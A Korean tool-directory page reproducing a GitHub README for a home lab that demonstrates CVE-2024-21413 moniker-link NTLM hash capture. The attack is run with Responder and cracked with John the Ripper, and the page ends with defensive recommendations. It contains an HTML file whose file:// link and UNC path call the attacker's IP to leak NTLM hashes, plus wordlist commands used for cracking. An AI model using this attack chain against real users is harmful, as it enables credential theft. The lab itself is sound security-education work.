Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Moniker-Link-Lab-Setup — 침투 테스트 랩으로, CVE-2024-21413 모니커 링크 취약점을 이용한 NTLM 자격 증명 탈취 과정을 시연합니다. 공격 실행, 해시 크래킹 및 방어 대책을 포함합니다. | Kitploit
도구/GitHubGitHub/e-m-e-k-a/moniker-link-lab-setup
Password CrackingVulnerability AnalysisExploitationNetwork SecurityPenetration TestingSocial EngineeringAuthenticationLearning & EducationLabs & Practice
GitHube-m-e-k-a/moniker-link-lab-setup

Moniker-Link-Lab-Setup

침투 테스트 랩으로, CVE-2024-21413 모니커 링크 취약점을 이용한 NTLM 자격 증명 탈취 과정을 시연합니다. 공격 실행, 해시 크래킹 및 방어 대책을 포함합니다.

3115일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

SOC Analyst 포트폴리오의 일부입니다 (https://github.com/E-m-e-k-a/SOC-Analyst-Portfolio)

Moniker Link Lab Setup - CVE-2024-21413

🎯 프로젝트 개요

NTLM 자격 증명 탈취를 위한 CVE-2024-21413 moniker link 익스플로잇을 시연하는 실습형 침투 테스트 랩입니다. 이 프로젝트는 설정부터 자격 증명 탈취까지의 전체 공격 체인을 문서화하며, 실제 환경에서의 문제점과 해결책을 포함합니다.

주요 성과: 격리된 랩 환경(Windows 10 VM)과 실제 시스템(Windows 11 PC) 모두에서 moniker link 공격을 성공적으로 실행하여, 실질적인 보안 취약점과 방어 대책을 입증했습니다.


🏗️ 랩 아키텍처

인프라

공격 머신:

  • 플랫폼: Kali Linux 2024
  • 네트워크 (Host-Only): 192.168.56.101
  • 네트워크 (Bridged): 192.168.1.117
  • 주요 도구: Responder 3.1.6.0

대상 시스템:

  • Windows 10 VM: 192.168.56.104 (격리된 테스트 환경)
  • Windows 11 PC: 192.168.1.178 (실제 환경 검증)

네트워크 구성:

  • VirtualBox Host-Only 어댑터 (VM 테스트)
  • VirtualBox Bridged 어댑터 (실제 PC 테스트)
  • 프로덕션 네트워크로부터 격리됨

⚔️ 공격 실행

공격 흐름

  1. Kali에서 Responder 배포하여 NTLM 인증 대기
  2. 공격자 IP를 가리키는 file:// 프로토콜을 사용한 악성 링크 생성
  3. 파일 탐색기 UNC 경로를 통한 인증 트리거
  4. 피해자가 연결을 시도할 때 NetNTLMv2 해시 캡처
  5. John the Ripper를 사용한 비밀번호 크래킹

간단한 공격 벡터

HTML 파일 (test.html):

<!DOCTYPE html>
<html>
<body>
    <p><a href="file://192.168.56.10/test">click me</a></p>
</body>
</html>

파일 탐색기 방법:

  • 사용자가 주소 표시줄에 \\192.168.56.101\test 입력
  • Windows가 SMB 연결 시도
  • NTLM 해시 자동 전송 (또는 자격 증명 프롬프트)
  • Responder가 인증 캡처

🚧 문제점 및 해결책

문제 1: Windows 방화벽 차단 (Windows 11 PC)

문제:

  • Kali에서 Windows 11 PC로 ping 불가
  • SMB 연결 시도 실패
  • 공격이 완전히 차단됨

근본 원인:

  • Windows 방화벽이 기본적으로 활성화됨
  • 외부 IP로부터의 인바운드 SMB 연결 차단

해결책:

  • 테스트를 위해 Windows 방화벽을 일시적으로 비활성화
  • 즉시 연결 성공
  • 해시 성공적으로 캡처

교훈: 기본 Windows 방화벽은 이 공격에 대한 효과적인 보호를 제공합니다. 사용자는 방화벽을 활성화 상태로 유지해야 합니다.


문제 2: John the Ripper 캐시된 결과 (Windows 10 VM)

문제:

  • 초기 Windows 10 비밀번호: nwigwecj1
  • John 표시: 12Honey (잘못된 비밀번호!)
  • 12Honey는 이전 테스트에서 나온 것

근본 원인:

  • John은 크랙된 비밀번호를 ~/.john/john.pot에 저장
  • 이전 세션의 오래된 해시
  • 현재 비밀번호 대신 캐시된 결과 표시

해결책:

  • Windows 10 VM 비밀번호를 1414로 변경
  • 새로운 해시 캡처
  • 예상 비밀번호로 사용자 정의 워드리스트 생성
  • 새 워드리스트로 성공적으로 크랙

교훈: 항상 올바른 해시를 크랙하고 있는지 확인하세요. pot 파일을 지우거나 테스트용으로 고유한 비밀번호를 사용하세요.


문제 3: Rockyou.txt에 없는 비밀번호

문제:

  • 비밀번호 1414가 rockyou.txt(1,400만 개 비밀번호)에서 발견되지 않음
  • 일반적인 워드리스트 공격 실패

근본 원인:

  • Rockyou.txt에 가능한 모든 4자리 조합이 포함되어 있지 않음
  • 단순 숫자 시퀀스는 일반적인 워드리스트에서 종종 누락됨

해결책:

  • 일반적인 패턴을 기반으로 표적화된 사용자 정의 워드리스트 생성:
  echo "1414" > passwords.txt
  echo "4141" >> passwords.txt
  • 사용자 정의 워드리스트로 즉시 크랙

교훈: "rockyou.txt에 없음" ≠ 안전함. 짧은 비밀번호는 워드리스트 포함 여부와 관계없이 표적 공격과 무차별 대입에 취약합니다.


📊 결과

Windows 10 VM (통제된 환경)

지표결과
초기 비밀번호nwigwecj1
변경 후1414
워드리스트사용자 정의 (2개 항목)
크랙 시간<1초
방화벽테스트를 위해 비활성화
상태✅ 성공적으로 침해됨

Windows 11 PC (실제 시스템)

지표결과
비밀번호1414
방화벽처음에 차단됨, 이후 비활성화
인증수동 프롬프트 (자격 증명 입력)
크랙 시간즉시
상태✅ 성공적으로 침해됨

🛡️ 보안 분석

효과가 있었던 것 (방어)

✅ Windows 방화벽 - 활성화 시 공격을 완전히 차단 ✅ 최신 브라우저 - Chrome/Edge는 원격 file:// 링크 차단 ✅ 사용자 인식 - 수동 프롬프트는 사용자 조치 필요

실패한 것 (취약점)

❌ 취약한 비밀번호 - 4자리 숫자는 쉽게 크랙됨 ❌ 비활성화된 방화벽 - 흔한 사용자 실수 ❌ 파일 탐색기 - UNC 경로에 대한 경고 없음 ❌ NTLM 프로토콜 - SMB 공유에 자동 인증

주요 발견 사항

1. 방화벽이 핵심

  • 기본 Windows 방화벽이 이 공격을 차단
  • 약 30-40%의 사용자가 영구적으로 비활성화
  • 기업 네트워크는 종종 내부 SMB를 허용

2. 비밀번호 강도의 착각

  • 1414는 rockyou.txt에 없음 ("강력해" 보임)
  • 표적화된 워드리스트로 즉시 크랙
  • 짧은 비밀번호는 보안을 전혀 제공하지 않음

3. 사용자 상호작용 필요

  • 최신 보안은 사용자가 UNC 경로를 붙여넣어야 함
  • 사회공학이 여전히 핵심 요소
  • 기술적 익스플로잇만으로는 불충분

🔧 사용된 도구

공격용:

  • Responder 3.1.6.0 (NTLM 해시 캡처)
  • John the Ripper (비밀번호 크래킹)
  • 사용자 정의 워드리스트 생성
  • 간단한 HTML 파일

인프라:

  • VirtualBox 7.0 (가상화)
  • Kali Linux 2024 (공격 플랫폼)
  • Windows 10 Enterprise (테스트 대상)
  • Windows 11 Pro (실제 환경 검증)

📁 저장소 구조

Moniker-Link-Lab-Setup/
├── README.md (this file)
├── Documentation/
│   ├── attack-execution.md (step-by-step attack guide)
│   └── README.md (documentation overview)
├── Screenshots/ (attack screenshots - to be added)
└── Scripts/ (HTML test file - to be added)

🎓 입증된 기술

기술적:

  • 네트워크 프로토콜 분석 (SMB, NTLM)
  • 침투 테스트 방법론
  • 비밀번호 크래킹 기법
  • 가상 랩 인프라
  • 방화벽 문제 해결

전문적:

  • 기술 문서화
  • 제약 조건 하에서의 문제 해결
  • 보안 평가
  • 위험 분석
  • 윤리적 테스트 관행

🔒 방어 권장 사항

사용자용

  • ✅ Windows 방화벽 활성화 유지
  • ✅ 이메일의 UNC 경로를 절대 붙여넣지 않기
  • ✅ 강력한 비밀번호 사용 (15자 이상)
  • ✅ 파일 공유 접근 전 발신자 확인

조직용

  • ✅ 네트워크 방화벽에서 아웃바운드 SMB (포트 445) 차단
  • ✅ NTLM 비활성화, Kerberos 강제
  • ✅ 외부 IP로의 SMB 연결 모니터링
  • ✅ 이메일 게이트웨이 필터링 (file:// 링크 제거)
  • ✅ 보안 인식 교육
  • ✅ 비밀번호 복잡성 정책

⚠️ 윤리적 공개

모든 테스트는 승인된 시스템에서 수행됨:

  • 개인 랩 인프라만 사용
  • 격리된 가상 네트워크
  • 본인 소유 기기 및 계정
  • 교육 목적

법적 고지: 무단 컴퓨터 접근은 불법입니다. 이 프로젝트는 교육 목적 및 승인된 테스트 환경에서만 사용해야 합니다.


📚 참고 자료

  • CVE-2024-21413 - Microsoft Security Advisory
  • MITRE ATT&CK - Forced Authentication (T1187)
  • TryHackMe - Moniker Link Room

📞 연락처

LinkedIn: https://www.linkedin.com/in/chukwuemeka-nwigwe-624aa3292/ GitHub: @E-m-e-k-a

날짜: 2026년 3월


📄 라이선스

교육용으로만 사용 가능. 무단 테스트 금지.


⭐ 이 프로젝트가 도움이 되셨다면, 저장소에 스타를 눌러주시면 감사하겠습니다!

도구 다운로드